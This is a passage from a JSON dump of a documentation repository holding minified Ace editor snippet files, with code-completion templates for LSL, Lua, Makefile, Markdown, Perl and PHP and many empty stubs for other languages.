llSetClickAction\\n\tllSetClickAction(${1:integer action});\\n\t$0\\nsnippet llSetColor\\n\tllSetColor(${1:vector color}, ${2:integer face});\\n\t$0\\nsnippet llSetContentType\\n\tllSetContentType(${1:key request_id}, ${2:integer content_type});\\n\t$0\\nsnippet llSetDamage\\n\tllSetDamage(${1:float damage});\\n\t$0\\nsnippet llSetForce\\n\tllSetForce(${1:vector force}, ${2:integer local});\\n\t$0\\nsnippet llSetForceAndTorque\\n\tllSetForceAndTorque(${1:vector force}, ${2:vector torque}, ${3:integer local});\\n\t$0\\nsnippet llSetHoverHeight\\n\tllSetHoverHeight(${1:float height}, ${2:integer water}, ${3:float tau});\\n\t$0\\nsnippet llSetKeyframedMotion\\n\tllSetKeyframedMotion(${1:list keyframes}, ${2:list options});\\n\t$0\\nsnippet llSetLinkAlpha\\n\tllSetLinkAlpha(${1:integer link}, ${2:float alpha}, ${3:integer face});\\n\t$0\\nsnippet llSetLinkCamera\\n\tllSetLinkCamera(${1:integer link}, ${2:vector eye}, ${3:vector at});\\n\t$0\\nsnippet llSetLinkColor\\n\tllSetLinkColor(${1:integer link}, ${2:vector color}, ${3:integer face});\\n\t$0\\nsnippet llSetLinkMedia\\n\tllSetLinkMedia(${1:integer link}, ${2:integer face}, ${3:list params});\\n\t$0\\nsnippet llSetLinkPrimitiveParams\\n\tllSetLinkPrimitiveParams(${1:integer link}, ${2:list rules});\\n\t$0\\nsnippet llSetLinkPrimitiveParamsFast\\n\tllSetLinkPrimitiveParamsFast(${1:integer link}, ${2:list rules});\\n\t$0\\nsnippet llSetLinkTexture\\n\tllSetLinkTexture(${1:integer link}, ${2:string texture}, ${3:integer face});\\n\t$0\\nsnippet llSetLinkTextureAnim\\n\tllSetLinkTextureAnim(${1:integer link}, ${2:integer mode}, ${3:integer face}, ${4:integer sizex}, ${5:integer sizey}, ${6:float start}, ${7:float length}, ${8:float rate});\\n\t$0\\nsnippet llSetLocalRot\\n\tllSetLocalRot(${1:rotation rot});\\n\t$0\\nsnippet llSetMemoryLimit\\n\tllSetMemoryLimit(${1:integer limit})\\nsnippet llSetObjectDesc\\n\tllSetObjectDesc(${1:string description});\\n\t$0\\nsnippet llSetObjectName\\n\tllSetObjectName(${1:string name});\\n\t$0\\nsnippet llSetParcelMusicURL\\n\tllSetParcelMusicURL(${1:string url});\\n\t$0\\nsnippet llSetPayPrice\\n\tllSetPayPrice(${1:integer price}, [${2:integer price_button_a}, ${3:integer price_button_b}, ${4:integer price_button_c}, ${5:integer price_button_d}]);\\n\t$0\\nsnippet llSetPhysicsMaterial\\n\tllSetPhysicsMaterial(${1:integer mask}, ${2:float gravity_multiplier}, ${3:float restitution}, ${4:float friction}, ${5:float density});\\n\t$0\\nsnippet llSetPos\\n\tllSetPos(${1:vector pos});\\n\t$0\\nsnippet llSetPrimitiveParams\\n\tllSetPrimitiveParams(${1:list rules});\\n\t$0\\nsnippet llSetPrimMediaParams\\n\tllSetPrimMediaParams(${1:integer face}, ${2:list params});\\n\t$0\\nsnippet llSetRegionPos\\n\tllSetRegionPos(${1:vector position})\\nsnippet llSetRemoteScriptAccessPin\\n\tllSetRemoteScriptAccessPin(${1:integer pin});\\n\t$0\\nsnippet llSetRot\\n\tllSetRot(${1:rotation rot});\\n\t$0\\nsnippet llSetScale\\n\tllSetScale(${1:vector size});\\n\t$0\\nsnippet llSetScriptState\\n\tllSetScriptState(${1:string name}, ${2:integer run});\\n\t$0\\nsnippet llSetSitText\\n\tllSetSitText(${1:string text});\\n\t$0\\nsnippet llSetSoundQueueing\\n\tllSetSoundQueueing(${1:integer queue});\\n\t$0\\nsnippet llSetSoundRadius\\n\tllSetSoundRadius(${1:float radius});\\n\t$0\\nsnippet llSetStatus\\n\tllSetStatus(${1:integer status}, ${2:integer value});\\n\t$0\\nsnippet llSetText\\n\tllSetText(${1:string text}, ${2:vector color}, ${3:float alpha});\\n\t$0\\nsnippet llSetTexture\\n\tllSetTexture(${1:string texture}, ${2:integer face});\\n\t$0\\nsnippet llSetTextureAnim\\n\tllSetTextureAnim(${1:integer mode}, ${2:integer face}, ${3:integer sizex}, ${4:integer sizey}, ${5:float start}, ${6:float length}, ${7:float rate});\\n\t$0\\nsnippet llSetTimerEvent\\n\tllSetTimerEvent(${1:float sec});\\n\t$0\\nsnippet llSetTorque\\n\tllSetTorque(${1:vector torque}, ${2:integer local});\\n\t$0\\nsnippet llSetTouchText\\n\tllSetTouchText(${1:string text});\\n\t$0\\nsnippet llSetVehicleFlags\\n\tllSetVehicleFlags(${1:integer flags});\\n\t$0\\nsnippet llSetVehicleFloatParam\\n\tllSetVehicleFloatParam(${1:integer param}, ${2:float value});\\n\t$0\\nsnippet llSetVehicleRotationParam\\n\tllSetVehicleRotationParam(${1:integer param}, ${2:rotation rot});\\n\t$0\\nsnippet llSetVehicleType\\n\tllSetVehicleType(${1:integer type});\\n\t$0\\nsnippet llSetVehicleVectorParam\\n\tllSetVehicleVectorParam(${1:integer param}, ${2:vector vec});\\n\t$0\\nsnippet llSetVelocity\\n\tllSetVelocity(${1:vector force}, ${2:integer local});\\n\t$0\\nsnippet llSHA1String\\n\tllSHA1String(${1:string src})\\nsnippet llShout\\n\tllShout(${1:integer channel}, ${2:string msg});\\n\t$0\\nsnippet llSin\\n\tllSin(${1:float theta})\\nsnippet llSitTarget\\n\tllSitTarget(${1:vector offset}, ${2:rotation rot});\\n\t$0\\nsnippet llSleep\\n\tllSleep(${1:float sec});\\n\t$0\\nsnippet llSqrt\\n\tllSqrt(${1:float val})\\nsnippet llStartAnimation\\n\tllStartAnimation(${1:string anim});\\n\t$0\\nsnippet llStopAnimation\\n\tllStopAnimation(${1:string anim});\\n\t$0\\nsnippet llStopHover\\n\tllStopHover();\\n\t$0\\nsnippet llStopLookAt\\n\tllStopLookAt();\\n\t$0\\nsnippet llStopMoveToTarget\\n\tllStopMoveToTarget();\\n\t$0\\nsnippet llStopSound\\n\tllStopSound();\\n\t$0\\nsnippet llStringLength\\n\tllStringLength(${1:string str})\\nsnippet llStringToBase64\\n\tllStringToBase64(${1:string str})\\nsnippet llStringTrim\\n\tllStringTrim(${1:string src}, ${2:integer type})\\nsnippet llSubStringIndex\\n\tllSubStringIndex(${1:string source}, ${2:string pattern})\\nsnippet llTakeControls\\n\tllTakeControls(${1:integer controls}, ${2:integer accept}, ${3:integer pass_on});\\n\t$0\\nsnippet llTan\\n\tllTan(${1:float theta})\\nsnippet llTarget\\n\tllTarget(${1:vector position}, ${2:float range})\\nsnippet llTargetOmega\\n\tllTargetOmega(${1:vector axis}, ${2:float spinrate}, ${3:float gain});\\n\t$0\\nsnippet llTargetRemove\\n\tllTargetRemove(${1:integer handle});\\n\t$0\\nsnippet llTeleportAgent\\n\tllTeleportAgent(${1:key agent}, ${2:string landmark}, ${3:vector position}, ${4:vector look_at});\\n\t$0\\nsnippet llTeleportAgentGlobalCoords\\n\tllTeleportAgentGlobalCoords(${1:key agent}, ${2:vector global_coordinates}, ${3:vector region_coordinates}, ${4:vector look_at});\\n\t$0\\nsnippet llTeleportAgentHome\\n\tllTeleportAgentHome(${1:key agent});\\n\t$0\\nsnippet llTextBox\\n\tllTextBox(${1:key agent}, ${2:string message}, ${3:integer channel});\\n\t$0\\nsnippet llToLower\\n\tllToLower(${1:string src})\\nsnippet llToUpper\\n\tllToUpper(${1:string src})\\nsnippet llTransferLindenDollars\\n\tllTransferLindenDollars(${1:key destination}, ${2:integer amount})\\nsnippet llTriggerSound\\n\tllTriggerSound(${1:string sound}, ${2:float volume});\\n\t$0\\nsnippet llTriggerSoundLimited\\n\tllTriggerSoundLimited(${1:string sound}, ${2:float volume}, ${3:vector top_north_east}, ${4:vector bottom_south_west});\\n\t$0\\nsnippet llUnescapeURL\\n\tllUnescapeURL(${1:string url})\\nsnippet llUnSit\\n\tllUnSit(${1:key id});\\n\t$0\\nsnippet llUpdateCharacter\\n\tllUpdateCharacter(${1:list options})\\nsnippet llUpdateKeyValue\\n\tllUpdateKeyValue(${1:string k}, ${2:string v}, ${3:integer checked}, ${4:string ov})\\nsnippet llVecDist\\n\tllVecDist(${1:vector vec_a}, ${2:vector vec_b})\\nsnippet llVecMag\\n\tllVecMag(${1:vector vec})\\nsnippet llVecNorm\\n\tllVecNorm(${1:vector vec})\\nsnippet llVolumeDetect\\n\tllVolumeDetect(${1:integer detect});\\n\t$0\\nsnippet llWanderWithin\\n\tllWanderWithin(${1:vector origin}, ${2:vector dist}, ${3:list options});\\n\t$0\\nsnippet llWater\\n\tllWater(${1:vector offset});\\n\t$0\\nsnippet llWhisper\\n\tllWhisper(${1:integer channel}, ${2:string msg});\\n\t$0\\nsnippet llWind\\n\tllWind(${1:vector offset});\\n\t$0\\nsnippet llXorBase64\\n\tllXorBase64(${1:string str1}, ${2:string str2})\\nsnippet money\\n\tmoney(${1:key id}, ${2:integer amount})\\n\t{\\n\t\t$0\\n\t}\\nsnippet object_rez\\n\tobject_rez(${1:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet on_rez\\n\ton_rez(${1:integer start_param})\\n\t{\\n\t\t$0\\n\t}\\nsnippet path_update\\n\tpath_update(${1:integer type}, ${2:list reserved})\\n\t{\\n\t\t$0\\n\t}\\nsnippet remote_data\\n\tremote_data(${1:integer event_type}, ${2:key channel}, ${3:key message_id}, ${4:string sender}, ${5:integer idata}, ${6:string sdata})\\n\t{\\n\t\t$0\\n\t}\\nsnippet run_time_permissions\\n\trun_time_permissions(${1:integer perm})\\n\t{\\n\t\t$0\\n\t}\\nsnippet sensor\\n\tsensor(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet state\\n\tstate ${1:name}\\nsnippet touch\\n\ttouch(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet touch_end\\n\ttouch_end(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet touch_start\\n\ttouch_start(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet transaction_result\\n\ttransaction_result(${1:key id}, ${2:integer success}, ${3:string data})\\n\t{\\n\t\t$0\\n\t}\\nsnippet while\\n\twhile (${1:condition})\\n\t{\\n\t\t$0\\n\t}\\n\",t.scope=\"lsl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/lua.js",
    "content": "define(\"ace/snippets/lua\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet #!\\n\t#!/usr/bin/env lua\\n\t$1\\nsnippet local\\n\tlocal ${1:x} = ${2:1}\\nsnippet fun\\n\tfunction ${1:fname}(${2:...})\\n\t\t${3:-- body}\\n\tend\\nsnippet for\\n\tfor ${1:i}=${2:1},${3:10} do\\n\t\t${4:print(i)}\\n\tend\\nsnippet forp\\n\tfor ${1:i},${2:v} in pairs(${3:table_name}) do\\n\t   ${4:-- body}\\n\tend\\nsnippet fori\\n\tfor ${1:i},${2:v} in ipairs(${3:table_name}) do\\n\t   ${4:-- body}\\n\tend\\n\",t.scope=\"lua\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/luapage.js",
    "content": "define(\"ace/snippets/luapage\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"luapage\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/lucene.js",
    "content": "define(\"ace/snippets/lucene\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lucene\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/makefile.js",
    "content": "define(\"ace/snippets/makefile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet ifeq\\n\tifeq (${1:cond0},${2:cond1})\\n\t\t${3:code}\\n\tendif\\n\",t.scope=\"makefile\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/markdown.js",
    "content": "define(\"ace/snippets/markdown\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Markdown\\n\\n# Includes octopress (http://octopress.org/) snippets\\n\\nsnippet [\\n\t[${1:text}](http://${2:address} \"${3:title}\")\\nsnippet [*\\n\t[${1:link}](${2:`@*`} \"${3:title}\")${4}\\n\\nsnippet [:\\n\t[${1:id}]: http://${2:url} \"${3:title}\"\\nsnippet [:*\\n\t[${1:id}]: ${2:`@*`} \"${3:title}\"\\n\\nsnippet ![\\n\t![${1:alttext}](${2:/images/image.jpg} \"${3:title}\")\\nsnippet ![*\\n\t![${1:alt}](${2:`@*`} \"${3:title}\")${4}\\n\\nsnippet ![:\\n\t![${1:id}]: ${2:url} \"${3:title}\"\\nsnippet ![:*\\n\t![${1:id}]: ${2:`@*`} \"${3:title}\"\\n\\nsnippet ===\\nregex /^/=+/=*//\\n\t${PREV_LINE/./=/g}\\n\t\\n\t${0}\\nsnippet ---\\nregex /^/-+/-*//\\n\t${PREV_LINE/./-/g}\\n\t\\n\t${0}\\nsnippet blockquote\\n\t{% blockquote %}\\n\t${1:quote}\\n\t{% endblockquote %}\\n\\nsnippet blockquote-author\\n\t{% blockquote ${1:author}, ${2:title} %}\\n\t${3:quote}\\n\t{% endblockquote %}\\n\\nsnippet blockquote-link\\n\t{% blockquote ${1:author} ${2:URL} ${3:link_text} %}\\n\t${4:quote}\\n\t{% endblockquote %}\\n\\nsnippet bt-codeblock-short\\n\t```\\n\t${1:code_snippet}\\n\t```\\n\\nsnippet bt-codeblock-full\\n\t``` ${1:language} ${2:title} ${3:URL} ${4:link_text}\\n\t${5:code_snippet}\\n\t```\\n\\nsnippet codeblock-short\\n\t{% codeblock %}\\n\t${1:code_snippet}\\n\t{% endcodeblock %}\\n\\nsnippet codeblock-full\\n\t{% codeblock ${1:title} lang:${2:language} ${3:URL} ${4:link_text} %}\\n\t${5:code_snippet}\\n\t{% endcodeblock %}\\n\\nsnippet gist-full\\n\t{% gist ${1:gist_id} ${2:filename} %}\\n\\nsnippet gist-short\\n\t{% gist ${1:gist_id} %}\\n\\nsnippet img\\n\t{% img ${1:class} ${2:URL} ${3:width} ${4:height} ${5:title_text} ${6:alt_text} %}\\n\\nsnippet youtube\\n\t{% youtube ${1:video_id} %}\\n\\n# The quote should appear only once in the text. It is inherently part of it.\\n# See http://octopress.org/docs/plugins/pullquote/ for more info.\\n\\nsnippet pullquote\\n\t{% pullquote %}\\n\t${1:text} {\" ${2:quote} \"} ${3:text}\\n\t{% endpullquote %}\\n',t.scope=\"markdown\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mask.js",
    "content": "define(\"ace/snippets/mask\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mask\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/matlab.js",
    "content": "define(\"ace/snippets/matlab\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"matlab\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/maze.js",
    "content": "define(\"ace/snippets/maze\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet >\\ndescription assignment\\nscope maze\\n\t-> ${1}= ${2}\\n\\nsnippet >\\ndescription if\\nscope maze\\n\t-> IF ${2:**} THEN %${3:L} ELSE %${4:R}\\n\",t.scope=\"maze\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mel.js",
    "content": "define(\"ace/snippets/mel\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mel\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mips_assembler.js",
    "content": "define(\"ace/snippets/mips_assembler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mips_assembler\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mipsassembler.js",
    "content": "define(\"ace/snippets/mipsassembler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mushcode.js",
    "content": "define(\"ace/snippets/mushcode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mushcode\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/mysql.js",
    "content": "define(\"ace/snippets/mysql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"mysql\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/nix.js",
    "content": "define(\"ace/snippets/nix\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"nix\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/objectivec.js",
    "content": "define(\"ace/snippets/objectivec\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"objectivec\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ocaml.js",
    "content": "define(\"ace/snippets/ocaml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ocaml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/pascal.js",
    "content": "define(\"ace/snippets/pascal\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"pascal\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/perl.js",
    "content": "define(\"ace/snippets/perl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# #!/usr/bin/perl\\nsnippet #!\\n\t#!/usr/bin/env perl\\n\\n# Hash Pointer\\nsnippet .\\n\t =>\\n# Function\\nsnippet sub\\n\tsub ${1:function_name} {\\n\t\t${2:#body ...}\\n\t}\\n# Conditional\\nsnippet if\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# Conditional if..else\\nsnippet ife\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n\telse {\\n\t\t${3:# else...}\\n\t}\\n# Conditional if..elsif..else\\nsnippet ifee\\n\tif (${1}) {\\n\t\t${2:# body...}\\n\t}\\n\telsif (${3}) {\\n\t\t${4:# elsif...}\\n\t}\\n\telse {\\n\t\t${5:# else...}\\n\t}\\n# Conditional One-line\\nsnippet xif\\n\t${1:expression} if ${2:condition};${3}\\n# Unless conditional\\nsnippet unless\\n\tunless (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# Unless conditional One-line\\nsnippet xunless\\n\t${1:expression} unless ${2:condition};${3}\\n# Try/Except\\nsnippet eval\\n\tlocal $@;\\n\teval {\\n\t\t${1:# do something risky...}\\n\t};\\n\tif (my $e = $@) {\\n\t\t${2:# handle failure...}\\n\t}\\n# While Loop\\nsnippet wh\\n\twhile (${1}) {\\n\t\t${2:# body...}\\n\t}\\n# While Loop One-line\\nsnippet xwh\\n\t${1:expression} while ${2:condition};${3}\\n# C-style For Loop\\nsnippet cfor\\n\tfor (my $${2:var} = 0; $$2 < ${1:count}; $$2${3:++}) {\\n\t\t${4:# body...}\\n\t}\\n# For loop one-line\\nsnippet xfor\\n\t${1:expression} for @${2:array};${3}\\n# Foreach Loop\\nsnippet for\\n\tforeach my $${1:x} (@${2:array}) {\\n\t\t${3:# body...}\\n\t}\\n# Foreach Loop One-line\\nsnippet fore\\n\t${1:expression} foreach @${2:array};${3}\\n# Package\\nsnippet package\\n\tpackage ${1:`substitute(Filename('', 'Page Title'), '^.', '\\\\u&', '')`};\\n\\n\t${2}\\n\\n\t1;\\n\\n\t__END__\\n# Package syntax perl >= 5.14\\nsnippet packagev514\\n\tpackage ${1:`substitute(Filename('', 'Page Title'), '^.', '\\\\u&', '')`} ${2:0.99};\\n\\n\t${3}\\n\\n\t1;\\n\\n\t__END__\\n#moose\\nsnippet moose\\n\tuse Moose;\\n\tuse namespace::autoclean;\\n\t${1:#}BEGIN {extends '${2:ParentClass}'};\\n\\n\t${3}\\n# parent\\nsnippet parent\\n\tuse parent qw(${1:Parent Class});\\n# Read File\\nsnippet slurp\\n\tmy $${1:var} = do { local $/; open my $file, '<', \\\"${2:file}\\\"; <$file> };\\n\t${3}\\n# strict warnings\\nsnippet strwar\\n\tuse strict;\\n\tuse warnings;\\n# older versioning with perlcritic bypass\\nsnippet vers\\n\t## no critic\\n\tour $VERSION = '${1:version}';\\n\teval $VERSION;\\n\t## use critic\\n# new 'switch' like feature\\nsnippet switch\\n\tuse feature 'switch';\\n\\n# Anonymous subroutine\\nsnippet asub\\n\tsub {\\n\t \t${1:# body }\\n\t}\\n\\n\\n\\n# Begin block\\nsnippet begin\\n\tBEGIN {\\n\t\t${1:# begin body}\\n\t}\\n\\n# call package function with some parameter\\nsnippet pkgmv\\n\t__PACKAGE__->${1:package_method}(${2:var})\\n\\n# call package function without a parameter\\nsnippet pkgm\\n\t__PACKAGE__->${1:package_method}()\\n\\n# call package \\\"get_\\\" function without a parameter\\nsnippet pkget\\n\t__PACKAGE__->get_${1:package_method}()\\n\\n# call package function with a parameter\\nsnippet pkgetv\\n\t__PACKAGE__->get_${1:package_method}(${2:var})\\n\\n# complex regex\\nsnippet qrx\\n\tqr/\\n\t     ${1:regex}\\n\t/xms\\n\\n#simpler regex\\nsnippet qr/\\n\tqr/${1:regex}/x\\n\\n#given\\nsnippet given\\n\tgiven ($${1:var}) {\\n\t\t${2:# cases}\\n\t\t${3:# default}\\n\t}\\n\\n# switch-like case\\nsnippet when\\n\twhen (${1:case}) {\\n\t\t${2:# body}\\n\t}\\n\\n# hash slice\\nsnippet hslice\\n\t@{ ${1:hash}  }{ ${2:array} }\\n\\n\\n# map\\nsnippet map\\n\tmap {  ${2: body }    }  ${1: @array } ;\\n\\n\\n\\n# Pod stub\\nsnippet ppod\\n\t=head1 NAME\\n\\n\t${1:ClassName} - ${2:ShortDesc}\\n\\n\t=head1 SYNOPSIS\\n\\n\t  use $1;\\n\\n\t  ${3:# synopsis...}\\n\\n\t=head1 DESCRIPTION\\n\\n\t${4:# longer description...}\\n\\n\\n\t=head1 INTERFACE\\n\\n\\n\t=head1 DEPENDENCIES\\n\\n\\n\t=head1 SEE ALSO\\n\\n\\n# Heading for a subroutine stub\\nsnippet psub\\n\t=head2 ${1:MethodName}\\n\\n\t${2:Summary....}\\n\\n# Heading for inline subroutine pod\\nsnippet psubi\\n\t=head2 ${1:MethodName}\\n\\n\t${2:Summary...}\\n\\n\\n\t=cut\\n# inline documented subroutine\\nsnippet subpod\\n\t=head2 $1\\n\\n\tSummary of $1\\n\\n\t=cut\\n\\n\tsub ${1:subroutine_name} {\\n\t\t${2:# body...}\\n\t}\\n# Subroutine signature\\nsnippet parg\\n\t=over 2\\n\\n\t=item\\n\tArguments\\n\\n\\n\t=over 3\\n\\n\t=item\\n\tC<${1:DataStructure}>\\n\\n\t  ${2:Sample}\\n\\n\\n\t=back\\n\\n\\n\t=item\\n\tReturn\\n\\n\t=over 3\\n\\n\\n\t=item\\n\tC<${3:...return data}>\\n\\n\\n\t=back\\n\\n\\n\t=back\\n\\n\\n\\n# Moose has\\nsnippet has\\n\thas ${1:attribute} => (\\n\t\tis\t    => '${2:ro|rw}',\\n\t\tisa \t=> '${3:Str|Int|HashRef|ArrayRef|etc}',\\n\t\tdefault => sub {\\n\t\t\t${4:defaultvalue}\\n\t\t},\\n\t\t${5:# other attributes}\\n\t);\\n\\n\\n# override\\nsnippet override\\n\toverride ${1:attribute} => sub {\\n\t\t${2:# my $self = shift;};\\n\t\t${3:# my ($self, $args) = @_;};\\n\t};\\n\\n\\n# use test classes\\nsnippet tuse\\n\tuse Test::More;\\n\tuse Test::Deep; # (); # uncomment to stop prototype errors\\n\tuse Test::Exception;\\n\\n# local test lib\\nsnippet tlib\\n\tuse lib qw{ ./t/lib };\\n\\n#test methods\\nsnippet tmeths\\n\t$ENV{TEST_METHOD} = '${1:regex}';\\n\\n# runtestclass\\nsnippet trunner\\n\tuse ${1:test_class};\\n\t$1->runtests();\\n\\n# Test::Class-style test\\nsnippet tsub\\n\tsub t${1:number}_${2:test_case} :Test(${3:num_of_tests}) {\\n\t\tmy $self = shift;\\n\t\t${4:#  body}\\n\\n\t}\\n\\n# Test::Routine-style test\\nsnippet trsub\\n\ttest ${1:test_name} => { description => '${2:Description of test.}'} => sub {\\n\t\tmy ($self) = @_;\\n\t\t${3:# test code}\\n\t};\\n\\n#prep test method\\nsnippet tprep\\n\tsub prep${1:number}_${2:test_case} :Test(startup) {\\n\t\tmy $self = shift;\\n\t\t${4:#  body}\\n\t}\\n\\n# cause failures to print stack trace\\nsnippet debug_trace\\n\tuse Carp; # 'verbose';\\n\t# cloak \\\"die\\\"\\n\t# warn \\\"warning\\\"\\n\t$SIG{'__DIE__'} = sub {\\n\t\trequire Carp; Carp::confess\\n\t};\\n\\n\",t.scope=\"perl\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/pgsql.js",
    "content": "define(\"ace/snippets/pgsql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"pgsql\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/php.js",
    "content": "define(\"ace/snippets/php\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet <?\\n\t<?php\\n\\n\t${1}\\nsnippet ec\\n\techo ${1};\\nsnippet <?e\\n\t<?php echo ${1} ?>\\n# this one is for php5.4\\nsnippet <?=\\n\t<?=${1}?>\\nsnippet ns\\n\tnamespace ${1:Foo\\\\Bar\\\\Baz};\\n\t${2}\\nsnippet use\\n\tuse ${1:Foo\\\\Bar\\\\Baz};\\n\t${2}\\nsnippet c\\n\t${1:abstract }class ${2:$FILENAME}\\n\t{\\n\t\t${3}\\n\t}\\nsnippet i\\n\tinterface ${1:$FILENAME}\\n\t{\\n\t\t${2}\\n\t}\\nsnippet t.\\n\t$this->${1}\\nsnippet f\\n\tfunction ${1:foo}(${2:array }${3:$bar})\\n\t{\\n\t\t${4}\\n\t}\\n# method\\nsnippet m\\n\t${1:abstract }${2:protected}${3: static} function ${4:foo}(${5:array }${6:$bar})\\n\t{\\n\t\t${7}\\n\t}\\n# setter method\\nsnippet sm \\n\t/**\\n\t * Sets the value of ${1:foo}\\n\t *\\n\t * @param ${2:$1} $$1 ${3:description}\\n\t *\\n\t * @return ${4:$FILENAME}\\n\t */\\n\t${5:public} function set${6:$2}(${7:$2 }$$1)\\n\t{\\n\t\t$this->${8:$1} = $$1;\\n\t\treturn $this;\\n\t}${9}\\n# getter method\\nsnippet gm\\n\t/**\\n\t * Gets the value of ${1:foo}\\n\t *\\n\t * @return ${2:$1}\\n\t */\\n\t${3:public} function get${4:$2}()\\n\t{\\n\t\treturn $this->${5:$1};\\n\t}${6}\\n#setter\\nsnippet $s\\n\t${1:$foo}->set${2:Bar}(${3});\\n#getter\\nsnippet $g\\n\t${1:$foo}->get${2:Bar}();\\n\\n# Tertiary conditional\\nsnippet =?:\\n\t$${1:foo} = ${2:true} ? ${3:a} : ${4};\\nsnippet ?:\\n\t${1:true} ? ${2:a} : ${3}\\n\\nsnippet C\\n\t$_COOKIE['${1:variable}']${2}\\nsnippet E\\n\t$_ENV['${1:variable}']${2}\\nsnippet F\\n\t$_FILES['${1:variable}']${2}\\nsnippet G\\n\t$_GET['${1:variable}']${2}\\nsnippet P\\n\t$_POST['${1:variable}']${2}\\nsnippet R\\n\t$_REQUEST['${1:variable}']${2}\\nsnippet S\\n\t$_SERVER['${1:variable}']${2}\\nsnippet SS\\n\t$_SESSION['${1:variable}']${2}\\n\t\\n# the following are old ones\\nsnippet inc\\n\tinclude '${1:file}';${2}\\nsnippet inc1\\n\tinclude_once '${1:file}';${2}\\nsnippet req\\n\trequire '${1:file}';${2}\\nsnippet req1\\n\trequire_once '${1:file}';${2}\\n# Start Docblock\\nsnippet /*\\n\t/**\\n\t * ${1}\\n\t */\\n# Class - post doc\\nsnippet doc_cp\\n\t/**\\n\t * ${1:undocumented class}\\n\t *\\n\t * @package ${2:default}\\n\t * @subpackage ${3:default}\\n\t * @author ${4:`g:snips_author`}\\n\t */${5}\\n# Class Variable - post doc\\nsnippet doc_vp\\n\t/**\\n\t * ${1:undocumented class variable}\\n\t *\\n\t * @var ${2:string}\\n\t */${3}\\n# Class Variable\\nsnippet doc_v\\n\t/**\\n\t * ${3:undocumented class variable}\\n\t *\\n\t * @var ${4:string}\\n\t */\\n\t${1:var} $${2};${5}\\n# Class\\nsnippet doc_c\\n\t/**\\n\t * ${3:undocumented class}\\n\t *\\n\t * @package ${4:default}\\n\t * @subpackage ${5:default}\\n\t * @author ${6:`g:snips_author`}\\n\t */\\n\t${1:}class ${2:}\\n\t{\\n\t\t${7}\\n\t} // END $1class $2\\n# Constant Definition - post doc\\nsnippet doc_dp\\n\t/**\\n\t * ${1:undocumented constant}\\n\t */${2}\\n# Constant Definition\\nsnippet doc_d\\n\t/**\\n\t * ${3:undocumented constant}\\n\t */\\n\tdefine(${1}, ${2});${4}\\n# Function - post doc\\nsnippet doc_fp\\n\t/**\\n\t * ${1:undocumented function}\\n\t *\\n\t * @return ${2:void}\\n\t * @author ${3:`g:snips_author`}\\n\t */${4}\\n# Function signature\\nsnippet doc_s\\n\t/**\\n\t * 